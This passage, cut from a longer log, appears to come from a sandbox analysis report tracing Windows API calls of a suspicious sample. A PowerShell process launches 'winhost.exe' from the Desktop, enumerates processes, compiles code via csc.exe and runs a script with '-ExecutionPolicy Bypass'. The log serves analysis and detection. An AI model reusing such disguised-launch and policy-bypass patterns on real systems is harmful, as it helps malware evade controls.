Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x53fc8f4 | out: lpFileInformation=0x53fc8f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0144.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e690) returned 1 [0144.720] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0144.720] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0144.720] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0144.720] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0144.720] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0144.721] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0144.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6dc) returned 1 [0144.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0144.727] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0144.954] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0144.955] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0xc2 [0144.961] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0145.162] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0145.162] ShellExecuteExW (in: pExecInfo=0x550c3f0*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="winhost.exe", lpParameters=0x0, lpDirectory="C:\\Users\\FD1HVy\\Desktop", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x550c3f0*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="winhost.exe", lpParameters=0x0, lpDirectory="C:\\Users\\FD1HVy\\Desktop", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x9e4)) returned 1 [0145.283] NtQueryInformationProcess (in: ProcessHandle=0x9e4, ProcessInformationClass=0x0, ProcessInformation=0x551c368, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x551c368, ReturnLength=0x0) returned 0x0 [0145.283] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0145.283] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="땠ݥ솰ܺ") returned 0x0 [0145.392] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x843e8cc, DesiredAccess=0x800, PolicyHandle=0x843e88c | out: PolicyHandle=0x843e88c) returned 0x0 [0145.392] LsaLookupSids (in: PolicyHandle=0x7434658, Count=0x1, Sids=0x551e59c*=0x551e540*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), ReferencedDomains=0x843e8a8, Names=0x843e89c | out: ReferencedDomains=0x843e8a8, Names=0x843e89c) returned 0x0 [0145.393] LsaClose (ObjectHandle=0x7434658) returned 0x0 [0150.731] CoGetContextToken (in: pToken=0x843da24 | out: pToken=0x843da24) returned 0x0 [0150.731] CoGetContextToken (in: pToken=0x843d9a8 | out: pToken=0x843d9a8) returned 0x0 [0150.731] CoGetContextToken (in: pToken=0x843d9a8 | out: pToken=0x843d9a8) returned 0x0 [0152.207] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843eac8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eac8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x63, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0152.208] CloseHandle (hObject=0x910) returned 1 [0152.208] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0152.208] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="땠ݥ솰ܺ") returned 0x0 [0152.209] CoTaskMemFree (pv=0x7731840) [0152.459] EnumProcesses (in: lpidProcess=0x552e570, cb=0x400, lpcbNeeded=0x843e954 | out: lpidProcess=0x552e570, lpcbNeeded=0x843e954) returned 1 [0152.465] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5fa94e8, Length=0x27ad8, ResultLength=0x843e8f0 | out: SystemInformation=0x5fa94e8, ResultLength=0x843e8f0*=0x1afd8) returned 0x0 [0153.103] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0153.103] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="땠ݥ솰ܺ") returned 0x0 [0153.103] CoTaskMemFree (pv=0x7731840) [0153.103] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843eae0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eae0*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6d, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0153.103] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843ea4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ea4c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6c, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0153.103] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843ead0*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6d, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843ead0*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6d, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0153.103] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e9b4 | out: lpConsoleScreenBufferInfo=0x843e9b4) returned 1 [0154.042] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e9b4 | out: lpConsoleScreenBufferInfo=0x843e9b4) returned 1 [0154.441] GetCurrentProcess () returned 0xffffffff [0154.441] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x843e948 | out: TokenHandle=0x843e948*=0x910) returned 1 [0154.441] GetCurrentProcess () returned 0xffffffff [0154.441] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x843e920 | out: TokenHandle=0x843e920*=0xa30) returned 1 [0154.441] GetTokenInformation (in: TokenHandle=0x910, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x843e954 | out: TokenInformation=0x0, ReturnLength=0x843e954) returned 0 [0154.441] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x7431858 [0154.441] GetTokenInformation (in: TokenHandle=0x910, TokenInformationClass=0x1, TokenInformation=0x7431858, TokenInformationLength=0x24, ReturnLength=0x843e954 | out: TokenInformation=0x7431858, ReturnLength=0x843e954) returned 1 [0154.442] LocalFree (hMem=0x7431858) returned 0x0 [0154.442] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x843e874, DesiredAccess=0x800, PolicyHandle=0x843e834 | out: PolicyHandle=0x843e834) returned 0x0 [0154.442] LsaLookupSids (in: PolicyHandle=0x7433bb8, Count=0x1, Sids=0x555cfd8*=0x555cf7c*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), ReferencedDomains=0x843e850, Names=0x843e844 | out: ReferencedDomains=0x843e850, Names=0x843e844) returned 0x0 [0154.442] LsaClose (ObjectHandle=0x7433bb8) returned 0x0 [0154.443] LsaFreeMemory (Buffer=0x7423f48) returned 0x0 [0154.443] LsaFreeMemory (Buffer=0x765fba8) returned 0x0 [0154.443] GetCurrentProcessId () returned 0x190 [0154.443] GetCurrentThreadId () returned 0x1130 [0154.443] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e8dc | out: lpConsoleScreenBufferInfo=0x843e8dc) returned 1 [0155.411] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e8dc | out: lpConsoleScreenBufferInfo=0x843e8dc) returned 1 [0155.839] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e8e4 | out: lpConsoleScreenBufferInfo=0x843e8e4) returned 1 [0156.527] SetConsoleTextAttribute (hConsoleOutput=0x44c, wAttributes=0xaf) returned 1 [0157.293] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e8e4 | out: lpConsoleScreenBufferInfo=0x843e8e4) returned 1 [0157.950] SetConsoleTextAttribute (hConsoleOutput=0x44c, wAttributes=0xaf) returned 1 [0158.879] GetConsoleMode (in: hConsoleHandle=0x44c, lpMode=0x843e900 | out: lpMode=0x843e900) returned 1 [0159.976] WriteConsoleW (in: hConsoleOutput=0x44c, lpBuffer=0x555cca4*, nNumberOfCharsToWrite=0x15, lpNumberOfCharsWritten=0x843e8f4, lpReserved=0x0 | out: lpBuffer=0x555cca4*, lpNumberOfCharsWritten=0x843e8f4*=0x15) returned 1 [0160.695] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e8e0 | out: lpConsoleScreenBufferInfo=0x843e8e0) returned 1 [0161.669] SetConsoleTextAttribute (hConsoleOutput=0x44c, wAttributes=0xaf) returned 1 [0162.517] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e8e0 | out: lpConsoleScreenBufferInfo=0x843e8e0) returned 1 [0163.153] SetConsoleTextAttribute (hConsoleOutput=0x44c, wAttributes=0xaf) returned 1 [0163.795] GetConsoleMode (in: hConsoleHandle=0x44c, lpMode=0x843e940 | out: lpMode=0x843e940) returned 1 [0164.474] WriteConsoleW (in: hConsoleOutput=0x44c, lpBuffer=0x4ff0ac0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x843e934, lpReserved=0x0 | out: lpBuffer=0x4ff0ac0*, lpNumberOfCharsWritten=0x843e934*=0x1) returned 1 [0165.245] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843ea70*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ea70*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6d, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0165.245] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0165.245] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="땠ݥ솰ܺ") returned 0x0 [0165.245] CoTaskMemFree (pv=0x7731840) [0165.245] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843ea88*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ea88*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x71, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0165.245] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e9f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e9f4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6d, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0165.245] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843ea78*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x71, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843ea78*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x71, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0165.246] EnumProcesses (in: lpidProcess=0x555f27c, cb=0x400, lpcbNeeded=0x843e8fc | out: lpidProcess=0x555f27c, lpcbNeeded=0x843e8fc) returned 1 [0165.247] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5fa94e8, Length=0x27ad8, ResultLength=0x843e898 | out: SystemInformation=0x5fa94e8, ResultLength=0x843e898*=0x1b0c0) returned 0x0 [0165.392] SetPriorityClass (hProcess=0x518, dwPriorityClass=0x100) returned 1 [0177.218] CloseHandle (hObject=0x518) returned 1 [0177.218] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0177.218] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="땠ݥ솰ܺ") returned 0x0 [0177.218] CoTaskMemFree (pv=0x7731840) [0177.218] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843eae0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eae0*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x72, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0177.218] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843ea4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ea4c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x71, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0177.218] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843ead0*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x72, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843ead0*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x72, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0177.218] GetConsoleScreenBufferInfo (hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e9b4) Thread: id = 74 os_tid = 0x112c Thread: id = 75 os_tid = 0xd94 [0084.907] CoGetContextToken (in: pToken=0x864fd24 | out: pToken=0x864fd24) returned 0x0 [0084.907] CObjectContext::QueryInterface () returned 0x0 [0084.913] CObjectContext::GetCurrentThreadType () returned 0x0 [0084.913] Release () returned 0x0 [0084.913] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0084.913] RoInitialize () returned 0x1 [0084.914] RoUninitialize () returned 0x0 [0084.914] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0084.916] SleepEx (dwMilliseconds=0x2710, bAlertable=1) returned 0x0 [0094.943] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0103.460] SleepEx (dwMilliseconds=0x2710, bAlertable=1) returned 0x0 [0113.544] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0113.704] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0116.782] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0116.830] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0120.008] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0120.122] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0123.232] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0123.516] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0126.646] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) Thread: id = 76 os_tid = 0x1350 Thread: id = 77 os_tid = 0x128c Thread: id = 82 os_tid = 0x12fc Thread: id = 85 os_tid = 0x1348 Thread: id = 90 os_tid = 0x12d8 Thread: id = 94 os_tid = 0x94c [0120.508] CoGetContextToken (in: pToken=0x8a3f3dc | out: pToken=0x8a3f3dc) returned 0x0 [0120.508] CObjectContext::QueryInterface () returned 0x0 [0120.508] CObjectContext::GetCurrentThreadType () returned 0x0 [0120.508] Release () returned 0x0 [0120.524] CoGetContextToken (in: pToken=0x8a3f3dc | out: pToken=0x8a3f3dc) returned 0x0 [0120.524] CObjectContext::QueryInterface () returned 0x0 [0120.524] CObjectContext::GetCurrentThreadType () returned 0x0 [0120.524] Release () returned 0x0 Thread: id = 100 os_tid = 0x13b8 Thread: id = 105 os_tid = 0xe64 Thread: id = 109 os_tid = 0x115c Thread: id = 112 os_tid = 0x7e8 Thread: id = 115 os_tid = 0xc08 Thread: id = 122 os_tid = 0xd1c Thread: id = 128 os_tid = 0xfb4 Process: id = "4" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x3b00b000" os_pid = "0x68c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x190" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 52 os_tid = 0x7e8 Thread: id = 53 os_tid = 0xa0c Thread: id = 54 os_tid = 0x5b8 Thread: id = 55 os_tid = 0x418 Thread: id = 56 os_tid = 0xe94 Thread: id = 83 os_tid = 0x132c Thread: id = 84 os_tid = 0x1308 Process: id = "5" image_name = "csc.exe" filename = "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\csc.exe" page_root = "0x11084000" os_pid = "0xf68" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x190" cmd_line = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.cmdline\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 78 os_tid = 0xf6c [0093.476] _malloc_crt () returned 0x5495480 [0093.476] __dllonexit () returned 0xb3742244 [0093.476] __dllonexit () returned 0xa5742244 [0093.476] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0093.477] __dllonexit () returned 0x85742259 [0093.477] __dllonexit () returned 0xe7742259 [0093.477] __dllonexit () returned 0xeb742259 [0093.478] __dllonexit () returned 0x91742259 [0093.478] __dllonexit () returned 0x9d742259 [0093.478] __dllonexit () returned 0xe1742259 [0093.478] __dllonexit () returned 0x99742259 [0093.478] __dllonexit () returned 0x95742259 [0093.478] GetProcessHeap () returned 0x5490000 [0093.479] __dllonexit () returned 0x89742259 [0093.479] __dllonexit () returned 0x8d742259 [0093.479] __dllonexit () returned 0x8b742259 [0093.479] GetVersionExA (in: lpVersionInformation=0x11fd5e8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x3a5088ee, dwMinorVersion=0xb, dwBuildNumber=0x6d7e6afc, dwPlatformId=0xa, szCSDVersion="Y\"t\x8b´TI\x05\x80TI\x05î\x88P:ìÕ\x1f\x01{c~mÄÖ\x1f\x01Ðk\x7fm2?1Vþÿÿÿöa~m\x1fb~m°\x82\x7fmTÖ\x1f\x01\x94c~m°\x82\x7fmq?Ís") | out: lpVersionInformation=0x11fd5e8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x3, dwBuildNumber=0x2580, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0093.479] DisableThreadLibraryCalls (hLibModule=0x6d7e0000) returned 1 [0093.479] CreateALink () returned 0x0 [0093.479] ??2@YAPAXI@Z () returned 0x54ae7f0 [0093.479] ??2@YAPAXI@Z () returned 0x549a298 [0093.479] ??_U@YAPAXI@Z () returned 0x54a6a78 [0093.479] ??2@YAPAXI@Z () returned 0x54ae9d0 [0093.479] ??_U@YAPAXI@Z () returned 0x54a6978 [0094.468] _time64 (in: _Time=0x11fd910 | out: _Time=0x11fd910) returned 0x5ee3452a [0094.470] CoCreateGuid (in: pguid=0x11fd4f8 | out: pguid=0x11fd4f8*(Data1=0x630c8342, Data2=0x41ee, Data3=0x4a50, Data4=([0]=0xba, [1]=0x6f, [2]=0xb6, [3]=0x21, [4]=0xad, [5]=0xa, [6]=0xc5, [7]=0x6))) returned 0x0 [0094.475] _lfind (in: _Key=0x11fd654, _Base=0x0, _NumOfElements=0x11fd680, _SizeOfElements=0x18, _PtFuncCompare=0x6d7e2050 | out: _NumOfElements=0x11fd680) returned 0x0 [0094.491] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x11fd57c | out: ppstm=0x11fd57c*=0x54eb898) returned 0x0 [0094.494] IUnknown:AddRef (This=0x54eb898) returned 0x2 [0094.495] IStream:RemoteSeek (in: This=0x54eb898, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0094.495] ISequentialStream:RemoteWrite (in: This=0x54eb898, pv=0x5515340*=0x42, cb=0x324, pcbWritten=0x11fd3e8 | out: pcbWritten=0x11fd3e8*=0x324) returned 0x0 [0094.495] IUnknown:Release (This=0x54eb898) returned 0x1 [0094.495] IStream:Stat (in: This=0x54eb898, pstatstg=0x11fd590, grfStatFlag=0x1 | out: pstatstg=0x11fd590) returned 0x0 [0094.495] IStream:RemoteSeek (in: This=0x54eb898, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0094.495] ISequentialStream:RemoteRead (in: This=0x54eb898, pv=0x5514248, cb=0x325, pcbRead=0x11fd574 | out: pv=0x5514248*=0x42, pcbRead=0x11fd574*=0x324) returned 0x0 [0094.495] IUnknown:Release (This=0x54eb898) returned 0x0 [0095.147] __clean_type_info_names_internal () returned 0x0 Thread: id = 79 os_tid = 0x1374 Process: id = "6" image_name = "cvtres.exe" filename = "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\cvtres.exe" page_root = "0x4bf01000" os_pid = "0x13ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xf68" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RESD8D2.tmp\" \"c:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CSCBD38836F10A0429CA34AC7BA8927F9B5.TMP\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 80 os_tid = 0x1370 Thread: id = 81 os_tid = 0x12ec Process: id = "7" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x23cb7000" os_pid = "0x1368" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x190" cmd_line = "\"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy Bypass -File purgeMemory.ps1 " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = 